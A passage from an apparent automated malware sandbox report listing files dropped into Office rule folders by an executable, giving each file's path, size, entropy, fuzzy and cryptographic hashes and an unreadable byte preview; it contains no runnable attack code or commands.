SHA-512:	D725D6A2C557A1FDE3CE06BEB079A59AFAFA520DE27D3D59733A7C6E845891EC23A86C42CA5A54A34CE080A8A383453A1B24C31ABC93B6FF5D8DC8355160E413
Malicious:	false
Preview:	<?xml..Z..L]o.fr.}..D..Lq... (.?..kV/]...}.F.....wS..C.ciV...[..>.....)X.`.\G...Rk..H.k....P..z..bG.`.....3O..e.(..~^>..'.f..6#.6L^............e\.\..J..cJ...k. ..D.H...N.....h_(..p....H..s...h1:.,.......E.k...b....0.H....$.m 8.F .......k...M4k..........+.G_0..L6..~..s.`Q....q.7'....fG...&F+.Z.7..Gp....+.. @}0.~kh.]....ZAZ....kc3Q>..c......4..L_:./....V...?}.4..\.4n..Wb.D!aS.....W..r2...5.Y.5.....1..t.Y.(.L...x2d64Ct...H...F..R...NG......h...C.X-R...&..{O.E.,w.r..&...u....._#..H%6.2..c..]z...Ai4..k..7(..}f..%5G..c.....H... .=(.7-7..QW..^.G.K....63.v.i.F....._..x.~.5z......n..]o.q$....e$........%.... ..3..8.....x...B..H.b`V...u..+:.H..%......).svS8....H.yT...{......p.O.^.(.w....!...}.S..[....\|)......yp.6...........T&Z....f.X.#.?>..Ur..?..<8l.<...........$....a.#..U.f...G.jK`..q.....=..4..F4........XJ.B..w.w.....[1..L,\|i....Q...[...K_@$.....wIN...y.l-v.@..aP...n........-.......EsG -.V`~2... Lq..LX.vl;*`.!y.>...?.L...7r...i...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.903022172091642
Encrypted:	false
SSDEEP:	24:WJw8hqbVjVExsteYysRG3cSD91q49SjnL7igddwlsvsU/4vp3B5fv7SpEzMWkVbD:WZqpjsYiP87LGgiisWcp3BV+ExkFD
MD5:	B14A2B52419B533C70E7CDF97B5CE6A2
SHA1:	CB610643C76F1BFA153AE0BAAB6725C7305244C6
SHA-256:	F6CCFAFD5F7E29467F30195AE7B7D4F0F7C4189167A19B35EFF3294CDE625E8F
SHA-512:	E39CF30CD30BC46E5CB3314D391AFE99C9D4136975F26C5065315590F07B891F0320FAC48CF62FA3F052D6FFC1EB997CB73ACE4C324E3F904B6A48C9F1165180
Malicious:	false
Preview:	<?xml.A.P.8.k.{.H.....:V...._.._....)qs./..L+@..F...`...... ..B 0...`.cZ..s...].n.....#..B.p.hNg..$.+.@H.gE..f.I...A.u../....$!........(....cJ..'...M^.9....s^....<4..s.....uY.3...XY..<_.xz.....eD.8..?2..;>....U%SOo..`..I~.7_.&.z..H.O. ...............g....... .I.....j.....E<..?5Z..?...f....=......N..O.g.R.$r....kC....sR8....y..H.x.\|5C.f6."[...[...l....c,.vQa...o..e.-...'.(........@....x7C....._i\|.H......7.I.J.s\z9.K..[....7.Q.T.Y{L.G....)..=G..v...\|....0._.&Q'...;~H.}g.-<..9..c..%..1.S.8&.+.......r.....)..-.h...Y.......d....K..&..^j.F....K3d...e..}........ .W...2dx\.......(....N....aG........S....J."..w...c:.0S..pA..5...KMd.\|..Z.c.....Q..mD.cU...9.%.&.Pj...QU].V........\|:w.~...n..#.\@.. 3.t...&E.........h....c..C)<..#. ..B3.t2..`.7.w..C.l.C..>...b.r..'.F.R.3.m....]....u'..T..E. ...8.Z.[..&.4......3+...........5...[........8..o.z..9.F...(i.....f....e....;e.A.qT...EnmzKo.....Y.u..b(..7.H..nA..=...5...;..fb5I...v..".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8937859454190304
Encrypted:	false
SSDEEP:	48:KL3BC7dc06jX/IK37QhjzLj8zZmMf1F8qIT+tl8xMZcM6KOqFD:KLWdhGI6UlnjaNfb8qI4hJ6K19
MD5:	8393B28368076C1246AAF3E0427355D2
SHA1:	76DB22A8787E1D30A661388592A6161CC19BF60C
SHA-256:	AA1809D0BF4D0A52197AD00DC7DC1DF0CBEAC81BD0470F08FDF1D0C1EA878D4B
SHA-512:	6B270E612CDE1A3FE46DB1B9B680CD68C21071F6AE5CE2D9A8EA3AA4136D856346E6A732D4EF4B4FA44E4077864C17DCE7496A551C37360B3199CBB5B76B18BB
Malicious:	false
Preview:	<?xml0%.ESK...,.../l.y.......P.....?l.......MIc. ........8.pI)..&......[....>.ax../v.Z..".W#..=j/.l$y.x..M.m..d%...h...5nK..ps.M.l;....O"^.h}b...C..,q..."..8...".H.K#L.k0........3.j.F...T..))M...0..=....-)...D..\......3......#b.DeL..\|-..<.$.xG.>.v.X.%....R...^.A....S5-`F.H"..v.....B..'I...=.f(.;-\|TEb.6..(a"..R..:`..\|..y...g....i.....e.~..F.6...QI...].Y..,m.h.........C...3.k6.4....=}.M.2..c.uGb`...a.8..{l9.6c.A.....w.O..y....kE.PeT.+1.......NP..KF-C \...Q..K...a.../......;.4a.~%.....-...r........:......s.V.~.e..}s%.+..(..$@...ir{.;.}..+...=....Z.g)X..k..5$....k.@MZ...2nH.#iv..[.I....Y..A!.......4j)}..s.6.q..(...H.\|9..8"4.....YH&]..........p\|;......j).,..r8...Qn.=t..........3.W......Uj.i.FB<%8..V.F.r.\|....v..^{.....$.u.7.XG1.C.....9..N.....W.....tM.....}.....b..k.l.x.].]....l.8......y.a..q....q.`...bU.......(&..w.0.!.~....>q.Iz...\.5....v.q..^........a~w.M...L..NQ..S..X..l.6o.\|.e....x.m.......*..osXA9.{E......._w0.......W<^..t..A.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.8754453119611725
Encrypted:	false
SSDEEP:	24:3C2EWE1h98oAW80ueDN/Vl6cndshcGBAD+xPAXOJuNiG3xhaOi2OASVmmCoVbD:ULPhIeGoD+pKb3BhJuZVjRFD
MD5:	1F12C5B4516E9AD4995F780E89D9AE1D
SHA1:	2D81FC3D55A1B5772BCE85CEB8AF7F43DB86E084
SHA-256:	DC50112B20695C9F8C2608C316052840EED733076846E6EC17C9A8BA8AEDCA24
SHA-512:	FA390DA3A5807CB6585A74661A4D9CB5E7A172225AEF875E3E362989A814E5E0E3642F933F71C5657125596EB7377DB855A148DF7AB0D314C93244E38D21DEB8
Malicious:	false
Preview:	<?xmlf...:.3.\..5"2s$c%.d.....-g......c$..l...@.aG...X.#vn........K...+.].~.i.s._....2.$=X....l..E..J.3..[.Z.....mm[..T.......&.!x...;)K....7..-X./.m.9......-....bx.4y.=jQ.\...~]....ln`mz-.].......U.&....g.n.;\8..mBU.s...3.S..@.gao.....<#.k.7Q..g;.D.A.....E.;2.g...GA.......l...a.E....\Y...yk.l).....1-F.@.....P).?.3]t}..lQdC....O{\$.ui_...."^"...(....=...9.a..V.L.....(....o&0.J..p......N7...nb`.e...G.0.#.4..$1>...zWq7.f..F.q.b."...Tq.wEgR.u.nF...<V.O........<...EE..m\p..+C...r.%.2v...\a..iY.$.54},.o0...XNB....Y...^).0_......\|..vi....e.5\|.QM...@...x.&..<...km.%.!..~C;Bn\.3....rzw......@..7:Y.g.....9:....B...P.....4_....Jrjt.V\.F}R...a...(...aYQ......".i..d..Bu.q....G<&G...p.x...R..A'...;/...K.I.i?../...(k>h..G...#..B......8..S.e..<.f.....h...E.bh..N..^@.5.v..?.s.0G....'....=:U...3c=..}..".Y(....,Bj.....Z.O.......\pq..T.\4{8.........,tM.C?.,..3.Pq~.....(.........8...}.".z.:a..~.7...g....E,8s-kX...U......dpW.V...v6O...$.C....)wn+..5;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.881173060171676
Encrypted:	false
SSDEEP:	48:FeonLovEX5/qAjpCI8XVJpigLTWSUuZ8FD:pnEvEku4Xlig3WtB9
MD5:	164D9DB21E56E47D6BC12DCB5E121842
SHA1:	2F559BBA941F9E0E623DFC145857985C15094FA3
SHA-256:	69BB4BBC6BD48547C7E2C4FE97CBF49E20C2DA9EBD94BEDD910B5C606B4221AF
SHA-512:	6FBA9BDC76850B818C0673664351A96D841CAAF3393CBC57EE0740ABD53CA7FB6052BF4CCD51F57F32407D872F49B36C570403203733E97ABFFB1E0820428859
Malicious:	false
Preview:	<?xml/..!.v)..E<.)..bj..e.&.9.............y.O.Rq!...uC.....ph....7..:...L..#.4.......e`<..m.u.........3.0-~^....\|..!\\N..C#.?o.<...s..' RWz..{....-.@...h....r.8.4..jLM...2.S..e....;..'H.m....Qf...~[..m.0>.@.iS#.^...J....Z...4...u'.0\},.g...Y).:.T>...V..T..s..).$.`v..}...N..0.0......7...$75SN.. ...\.(....3..Uf.m.S{...2....!kV...x.GT.a$8 .Z..K....x....:.._.y:.L../.t.....Z.........cP.kR...E.\..O5.K"...T....n.H......HD.U{..k...x....U.\|.C_.:...7.E...\|$..bW.HRo.hl.J=^.K.s..r....Z.m...3.,9..k;Kpq..\hg.f.].e..q........e...\7.87MG.(w..HsR.5........._tw.q..j.W..A......z.r,....S^`..-.........).....N)......Wg0.R.O.4...@6".dV[:\..E.h[.c...t..v.H.,j.}..v........6r3.A..... A.....{..9...N....j.]..=).?.t.'.J....../..LR.../..a...3A...`>m.!Y..@.K?i.c..)..Q.8;...z....+ v.4........}.-.Qi.O.cw.k9...Dx....C{. ...E.....4.hJ5 ...K..p...d@Z.[..i\.3..n)J<..W.{.\|.m..&V.........wJzh.b..=.v..............M..v-2g....Qb.. W.b..s.......fH.T.N[..`A...~~..^64.7{P.....?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.900763202674251
Encrypted:	false
SSDEEP:	48:ShB22ozUH4VrJ53R9tyav1lTHWoAPk5GAFD:gU2kUYVv0adlWoAP49
MD5:	87C761B2FB872B37B86E54D3FA509E65
SHA1:	2EE998910345915957F802122632BAB01636C7EA
SHA-256:	48EAEF9B2475333C5C9D0EB368AA394196FAE5D0F75A3D988C0E4D099D4E4A4F
SHA-512:	F440BF3F21DA5CB17451A83FE99FCAF1F78B88FB61F941E25B7374DA2BB55F2F0D08E55A8DB0AEA5C0B2D95FE5889BC2E669A57D218D6F04750636DEB8FD60E9
Malicious:	false
Preview:	<?xml.w\#.\E\|.ST]...O.#]eq.e.43.S.X..t.ku.M.b......b.BY.o...8....r.`......~J..vJU....../...RC.u.....!..3........0...YOm.c-"..%A...+:c...=....!;.G.0~....8.B..<s(......@......a74....G........x......<P:'..o..7.....6p..L.c.6..`.N.&.z..1."7V...;0.U.+.>.f.f.g.k.....h.QH....2....[O..Zq...]0......&I<$ JS73.%[./...%........]V..:.P.....U.5.)q...].oS....E.6.f.d.E.M.P.H.F-......../q..f....%.t.U...@:.B....0S..}....d.G....5.<A..b.Q.s.lx.....u.a.-..(l...=..TR.......0.n8<...;.el.\|#x.u...v........w..T...8.6".@5...2..w..c../..,...j..KEJ.C.;...~.......l'...$..>.{....r.K/]....J.'e0..}S....m&.u..g.1{....,.... ..Sj..^.d..1$6y..T=.>....Xc...`....5..._W.uq.....s/a..g7...............X. ..{. EY..~.....}...@..xRN...a.q.%.F.......:.[Bz..w...d...?....?.r..C.u..\.@f..ma.....m..J..rr....9.@.y..<.]g..k.>...$.....w..#.O..b....Zz.H..N+......0....]Q8y..4=..D.E... J2...;...sD.....!x.R......yC..\"9.~r..I......%.......a.IcwF..'...)Q....%b..g..m[.{.%..d0...5v..;.U>..A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.894694811448247
Encrypted:	false
SSDEEP:	24:41MHQBkk6Jf+jja1oxRIDwn6dG8Ktb08h3piT/8JgmJNn7vsAvVmDP0L2wzE4c/J:4qQBkNJrNCBvpi/8hgDP0aKENEYFD
MD5:	52B06AB7422CD24C5AFF3CA7E06A7F58
SHA1:	F40BE4A1E8076244AF627629DA70FECEAE23CA69
SHA-256:	931EEF8D3967CB9A061F9F6ABF20DC918700AC2AC2259A17E07D942BD94A7C2D
SHA-512:	A205F84F2B592DF3F4A2C116784563DECCF7C54184109532880A9F671F9A255E3E08147F55B4F4F831621402A111C2385925170C627A74A31EDA6AC26FCDD9DE
Malicious:	false
Preview:	<?xml....B...B....P..53#..kC.$5{.hT% -.1.Nw[.=2...gA.vx......st.`^ ^8dz.}.aYu.Nz.x.<M...$.~>..}.u.......... ...o[w..&e=....b.E.....?f..Y.j].~."(:].n2..X........v]y..d.....B....a>...wZ.....R...t.^..F.o........K.(I.<T....n..e..R..c.+....jM..u.P..v.E...n..4.or..C..t..4......y.B..S...H%.q....~A)..Dhezm....#.':....-.-wrl.....{..FB.M..\|....)..a...w...\|.W..Fd..L..yS..cm=..7...=..\.?....%..z....9.h..IL.E.J..Z.$..j.B..I..J..1b.5......l..#..Z).o...3...V'.....=.EN....1...2..C^v....c....."[4...B9..m...[k~H&.OV...G.........%;.y.....t_.G.Y"\dA~n...op..s-z;?.FN.<G(.J.v...&.b....S...)..D...{F...w..Fmd.\....}.........@...up............{W.gH...g..W).J..n=...W...D......\|...u.TIID.}\.T.I..7E...S..p.......&.L..t.8.)'t..,.8V..R...Gl.7.."..[.W..........g...1.Y.}..ww...J.......b._~.#..........Y@1o...r.... v..).&"D...l.y.PF...T].5..j.G......z.Q.\|.. 1..f.H.j.A/B.i.{....(..^@....3...W.m..w...Pm........%I.Y8O....\.s...[8...h.H..LC..S...Z.0c.B.m+G.<.Wl.mG..v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.8781104215572455
Encrypted:	false
SSDEEP:	48:B+7Su0jNSNPB32idto1r569nQ2bRg8K3FD:zxjwr1fag9njbS39
MD5:	B6B8B2C5CB9CAD3590E75D209342F073
SHA1:	6F95A02A6AEA815B228B77F89516308E28A2ADB4
SHA-256:	6092927ABCAE2BE7FFEC61CFC26D2B59C56A509959098CA1E90C201FADF1C8EE
SHA-512:	B45887A7B5DE7830CF889A5F81B862040AEAC9B5B4DBF5C5122B1C8B41C6F04ED0E1072AB89BFE38FDFD822C5ED08175086FE35F61B13D340C9866C0A7F39D7D
Malicious:	false
Preview:	<?xmlo;F3qpi...o"}.....K,.I..8..?>........l9.:_.t.i5.......!...........4H.0..".&/qW.[y...n...h.I.T...~.......:.......ME....R....#.5.7q.1g13<...H..$../....j..Z.rX4c........?.O..`I....f......AM.O....O>..{.:...........R...u}?bQ.lU..Q.......}`M"..T....[\|.a..4.f9.%.o.qC......i...UP-y....vVj.EE...LD7.Z...y...........d*.....R..~.\|...I..)...........).3.......T.QF9G^z.=......C9..t&..#.#L.}.....:..th.l3.8....Y...J....:+,XQ]}sb<ywj.2G..-1V...m.~.f.,.. O.o.S.RV\.....~..>g-.n.~..!....Qq.FBJO..%...4.!...C....-.:.-..7.IJ.s............+.....~$.7;h...........>.`T(..]..h.)r..&......d..q.......e....+.t..N.S[.)8... 7Q..8.X\|E....=.....(0.8.S..4U..l.p.N:....... &\...~W....W..4..UL.....P..s-.\|..""~.x....P+.3.d.%....h?..R/.M@.Qez.g@...B....!...E..}V..#y..Ld2.l..z...x..'e.5..\..2k.4...H..Q`&........mf.B.]..P..&.Jf..tt..3.D..gT....;..9S.w.....uz.#.@..x..ax.d...o.`.J.(e=..cV9V.L.z.2.(f..h..(..z...U.Ac...I....}...V..H..\.S..u..M\|.....\...}&..,,.]j...K..&..e.......A.c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.889865793018941
Encrypted:	false
SSDEEP:	48:Q2pkSz51XMXIPcpij0aZoGEHmz4i6fG3c7IDcFD:16SzTC100aZoGEHXAc7cc9
MD5:	2341270FBBD582D6B872FCD9D9889D96
SHA1:	696ECEFFBA708AC56B0A19F4FFF14B7B6AFA6668
SHA-256:	87E6E68CA623AC027D35770024A2597C743344FD55656926229CDCCB015455C9
SHA-512:	361A1E07278DEE73845CDA8F15FF98B18A925FD359C263F0707AD45FD8DA6B570F8C2BB7350459353A5EFE18B2DB543AE6AF6E87D9C331285AF92AED586105CA
Malicious:	false
Preview:	<?xml;.....A.+.J.d.T.k..5..R.w.X'..vT..'....N.#q.D((.._......Py....i...B..8.......%R..`...o.S.....E.cF...:..y.7.V.@.....y4..A.".I....3Q..F.,."p.l..TA........i.Y`#.$..,.u....3...l..%..%=.h.f4...~..:.:...W........An.&.P!.X...X.U97....L..$...O..#...-..s9..w.zi.q........>....".......m:.S.....5A.Q.V..;i....&r.._..].._.%G.#.m..:k...>,..u...........8{.r.......H,...J_.".......:..Z.jD.Kn.^..._.....Ze......V8.l....S..>. ......P.c..F..a)F..O.b...!/.at...zS7........}p.r...T..b.ui.........Js.7..9.bM.....T....9.c.r.t...&[......m.../.$..`..l..l>........7!d..CnM.4p4.k...L.6.....AN$".n.R.....w.3..'...L(......yJ?Y-.p..d._Y._...H.y(:....'.a.<7..`.._~w...@.........<~.c.3.q.v...S[..YnR...3...6..s{........G+....C..(..<...Ruyn....q..S...Y.....d......S...!.....z....O.5r......H...{.Q.w6_.}.O..Q..&.t.]+..D......}j.h...[BI.4....r.oF.TO....J ka...2......E{...Q.W.U.L..6z..=..k..U.&E..$j.y.`.s..RC].IAu..#[Vvv.;......(...^.{...u.s...m+....SB....r6..*5.....B.Tb..V...y.<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.881666059930726
Encrypted:	false
SSDEEP:	24:aWkcqc738RV2T4F3b4NdF42wXNdq5UcW8V++MXfn/s10o+fih+zH/zy3Uekh0Uve:/T738VJtSdtWezN10oSZfy3ChFvC3jFD
MD5:	908315E11D5B303444C55DF8B482FDBB
SHA1:	43B447BF8247A42F3347C98A007EB14BB1B59B2D
SHA-256:	740CE14B3EF474E801630338C486C7D276158899D5C126F7D93CAB0ECAD0B8D1
SHA-512:	40F323CF0AA9A711A1CDEAFA8FCE1C00424EDE256C0A17DF29FCB3A74317C724C0C6759A26B113609E1E4C5DCD02C1893728B9E140A7B669AC648786B6147906
Malicious:	false
Preview:	<?xmlR...].#.a!F...%.O...+.....f..3.../.iu&.!..Vz-.X...8C..+.....V...]Q..\.W...}.....?...v..2.x..Jo6d.j....S.@'.../.....l....w..^.(5.O.K.K..L..E.Y.+.....,.l..5.gBc.'...?......-.....JjL.0...... .Tn.Vj..d.)........O..A.@..~'..C...h.c...%.S.Z..?K...N./.e.+"h&A2y....Nj.2?.}qr.k...,..<+.?[..V.....<]..K.4..'.....Q!.g...Op....Li....,..."e5.....O......%.......@..mH......Y/....@.LnfQ....u..h. vezc..od;...._..T..lt.s..}..Px....N.....v]\M.B.9]H..Z.#..,.+..=..u7G2....i..5j...Z`..cq.:..._h.G.h...b...1..2..q..t.a.>.C..i......lgO.YOr..+e{.C..+........t.3_...Im...1.(6..\......>".....J....8...o.Eci....J.~oB..........S...:...k...<..5..m..G...Y.9(..k...fT.....1.`...m....k.[I........<]F.7...._...urp.4..`.G.\|..X...2....!.J..@....?.....H.4....E.w U2>..;L.%.J...>....mN..l.5...m#%i.)1.`:..-....T2Bi...'G..]Il..3.^..c.4!E.......N.%...i...07m....(X,-.Z..\4/......%......J..l..3I..s#..2..E..5,.tJ~....\..l. .H.y..t.wI..[...;1.Pa....R~.7.y.n..=U......... .v.`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.887236032196278
Encrypted:	false
SSDEEP:	24:0WC9jdo1p7eHyIvCBN00f74wdaMfpX1WQgq87fLRtUrS62aSkL+NQcdgYfFLKmLJ:cGIq00LaYMQgrIrCNQct9LN5OyMIFD
MD5:	DCAB2D2ED44F84359B3A3144AE1AC4D8
SHA1:	C0C2F753375ED1FA3A4CBDCCFFB4DC87DE11B003
SHA-256:	2BCF207FD0CDE487A1D59DB92B3724D444FDDF1FF000EE4D95A7BB8A974EC958
SHA-512:	532A962C01B06376528D931B048304E1F1AFDF917F8D7450F0D468A16799B83CA444A2C75A7CD18D55B10320783B783F5E86B22496EA3F50E01976EE15CA9A8F
Malicious:	false
Preview:	<?xml........Q.L..1L..6C.q.HR.L+!.x.,.rb^..2k.!$~...3Wt..K.3.fb..N.....M....^.k..$s.:...>.e2.A.4Y...&.Y....._.1NE..'tab...c."...Q.<..pk.o=b..u.Q...2..?$.T7...UO+Y...c.]......\|~......\|....w&.......K.....JR.O.. ..>2.p..`.{.q.8..g.....2w.~#7..i....;4`.NCjx..o)1....,..T..F.<...h/...z....3X`jJ0...\:..Nk./.m.+.x....8$..;...jJ..7...Ye....mx\...(S......qJ`.Oy.E...D........tOt.../.\....!k0..%.....t..-...hu..!y...?.......:...P..r}.vN)..7.q..\|A5.F.2e....L.]m...N.R.n)/.n..3bN..]y...3.#.G..g1A....2P..@..&....X.Kn...GM.J_?.v.Y.@\Y5.=....eV...9o.H..?..V..J1kfJ$'w.sSCt.11$.....H......./8..&!~[.oY..".<.q(....R..2..&..Cb.L.`Q......H.<.d......`.p...3...nB...y......\t.$..U@..\|PL?.5.z.F.).4...FE.J...v.yj...B...\$.S..#j;ee...H..Gz..5.R!.T.f....... w..M.....@+.zo_...t...xc..`.n..?4...Wt.m...u[...Q.S\|......<2....._.........H.........%..%.G...2......)~..`^...ZC.T.KWM....bR.}....n..I&=z.x...Y..f......r..+.H...~..d!.C....u.....J'.X.....[..f....M.B.G..._...N.{..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.891595247158128
Encrypted:	false
SSDEEP:	48:sJ1tMLp9KblHD9JL1t1pwVlnmTSnAC7nf8QHPGFD:s7t8exJf1GmefvG9
MD5:	4D4A49BA87A8315D048671681F9B3423
SHA1:	7B0A9CCF49F41FD51D0C3476D03A22F49CF1B8B2
SHA-256:	A6962C27B832739FE34D926C1C54251C2285AD9D7F01B710DC28A655A828B7E0
SHA-512:	67849CB0ABBA7743A3924BFEF0DC1515A74DAB35803093DB3390D353DD188FEA035552AC4EA99A34E48D45380257B30AE22F36853829E360DBD22C48F5120DA3
Malicious:	false
Preview:	<?xml1..Q[.g.[L...b.8.......d.Z............^.+........k..7X#..h...~......!.9.Dn./.......(..,..q~...w..).P7s}...UF(y...0e...[.v.k/fap..M.i)...U2o.5n1p$.H.P&..........pd".......,..=r.''c..&D..g.<...PC...fkT..I.[............j.(.w.G.q...2c......b'.W!.%...e...%.e.].U..s95.4.....8..<.=.F.....t.I/f.p.....Z.....B.\......u.L<...xl.qx.o..$.wn.A..9.A1@.<...p......).c..6..K...O...K...hkg.x.+. P.1c.....v..m.Vj....d.e............Y^9K.f.]........o..IIjm.......q1.. '.".J........d^.....zWy....!6.2..!K.S.8F;...X..... ....gk......6q.<..d(....a.5}dz.....E..B.=$.....(.2.....\|..2 t.g.A.......G....t}<4.t..S3.a...J;D.......o.U.Y%.<.......!...]N<.*sw....u.p.qm.tC{..l.....j..Hk)N$.C..-...5.... .Uv<.2..[......I....H.3#.....dV..............7m.aX;V.Ehg.Q.E....l.V?....^Iw...VwQ...z..Z..F..{.wi.=.n......}.S3...8U.2...i1<o.O=.....2.'...2..h.a.c.....s.F.22#.0:..[......d/....\.....-.....$.u...\|.Ygf.i.x...#@Le. .[hb4clP..Of{......tc3e..P...5vX.Q.!.......W.I....[......r..L)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.88273045994359
Encrypted:	false
SSDEEP:	48:DvOadyvkJOw5pRksh07WsdWcR1geuI/GUHNFD:7Oask8I+shKW0WU1geuIOo9
MD5:	3E37A2E431826DA66C4DB18A4207883A
SHA1:	C9CFE9BF6A4D2B84E8B2CED21E8C047E8AB555C2
SHA-256:	73381A571190B0777062BE10B688881005998693FC9984DB17BBEE8A1CD6C4EE
SHA-512:	4FEBCD436A23BACFA35DDC92016C9873DC96C161AA73B8A33B41241AF64BDC425EC7B40B0396E1A8E73AAE803CD4706AAD00FD1B60A5D227E76DC12C726FD3B5
Malicious:	false
Preview:	<?xmlO.....A....-..1v.I1g..u...e.. .^IFz{>Op..j.n".........+.H._..'.).....2...l..T?z~..Y~..s...@.N^i....%.pH...1.n.......oS.3+..n....J.....`.v...O..V...1....G.#Rez..7C.JJM.)4G.....g...$jQq.)........Y./m........<W...L.e..d.1y.K..`.."D...>k}&Ms%b.WV..eO<L4.BS<.g...P.K.`...#K. 4tP{.e...uQ.....~.....\|).U...o ..w<. .u.D&.......w........"..Pu.-.9...pRa..0..5...z..].K..........L.#.e.H..@...ha...qW..K..r..w....-R9...\....y.w.._d...O8......"V.0..=...p....l...Z..]rv..../N%......F8.Z.dE. 0.1....}..H..t....?..~.S.y@.`0....p....bS.....\..".pR.V..sL$.w..c\|.NAgk.q3.@4_A25..f.-.....h.S.3Z(.....l.0_.Bgz.....h.A"e...j.h...p........7x.}~t_.-...Z..7...8..X.....w.8....#:..I........D....?&.Z.>c.'h.O.Y..V....M......v..k...7C..U52.4.pT.Y)z.G.K.IE.......&....8.:4'....3b..B.T..7.Ek..)M.@.5e/..,...w.@R..%...%.&...k.v.B.k.........Q.N.`..4O....y..hY..u.j...e.U.&.7P.9....AJ....9.O........9.Y...-O......e.........F....U....7...zT...p..).6..,v..t..P:.`..t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.8883523107054385
Encrypted:	false
SSDEEP:	24:o/3fCzeX8SKDHMCBk4H4FZsT8sHMiezM121KvOG06eSTxYI7fGubFPcRM1cpiVbD:oCsDIHMY4ET8sRv21UOujdaS0QcUFD
MD5:	5CC346ED72068E25566D53433599B11F
SHA1:	A14C27672EAB22022F01922961F381401D56C60D
SHA-256:	E679CE26EAC00D5A43EAFB3E462D554028F5F6BE2C971EFD79107EAF05B8FF52
SHA-512:	1E197375D677FA7A3DA5195BB8679190BAC1B3FE4BEEBB7B3C9D542A69BE547A59B55489F78CADE80B40C41683D7F6D9A4944AD185B2CE7D9272E21406CCC39D
Malicious:	false
Preview:	<?xmlP....q......f.y...=;.y...x...=5./...Q2=(..w~.jY.N.....Y./.......2../...E..}.a.gv.'.K+....x/...J.@.$..Xp.B..%..r~%UxM...B...>.9..T.g.@,.A...N...{.E^........U....R.cW...u.s.'.....\|./.f.[".n.qO).4...cU.`..7#.i...Z...w.S....9'C....G.).wR7.I.4T..@s....yW.&.V..j..Rbp.I./............M..p..;.\.....F.L.. .....ei.m..F#.5..K'...Z...'.p_.......GH5.4.Cu..^l]T.g.+7..%S..8L..EJ}@M.eLQLk=$n.....(..C.........g..4d....B...%........Q...k.@M4+y..+.e"....~..r.....b..<7...5...Dlh%...'x.......t........K..Z....y.fx..]..b.....<#...3.Q...6%.'i.H. ....".m..(G&.N..........y.4{..D..~....A+.. ....~..u.0..+....U.(..c.........Z...R..6...'......S#..s.)3`.c...]&./;9sq.O.h....t\......{........k..2.`L....".;Oy...\|9....,U......q...'}xj.r.I.4...`.N.)....]g..%.c....hA. .D5.{..w.8.r..9........_+..3..^....p...@.....?..(aF..;.8...V.CX7)_.W....Cl[.[.....\|"t.J.Wc.!...DO\.(.p.......k.._...#..C..F..{Z....S:.......A.Y.h../%.Y...\.......{.%.lu.1Q....H. )..m...n'...M..J.h..>:o...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.873925252285647
Encrypted:	false
SSDEEP:	24:YI/PvUNled2wFkMsCnmpHgoooui+88BevB4rZx26aOtsRKa4umfbw5XMP2pI8HT5:5nUOkMsMn88BeZ+7ONmfs5XweTDFD
MD5:	749940774834B8F3569ECE03CAC68C5B
SHA1:	18872D15FCA4DCB32D6DFF7AB344ECD6340E93C7
SHA-256:	4DD51514BBEE94D3975445BCE97872ABBDE5F5383D0F1E2EDD1E99E0B675398C
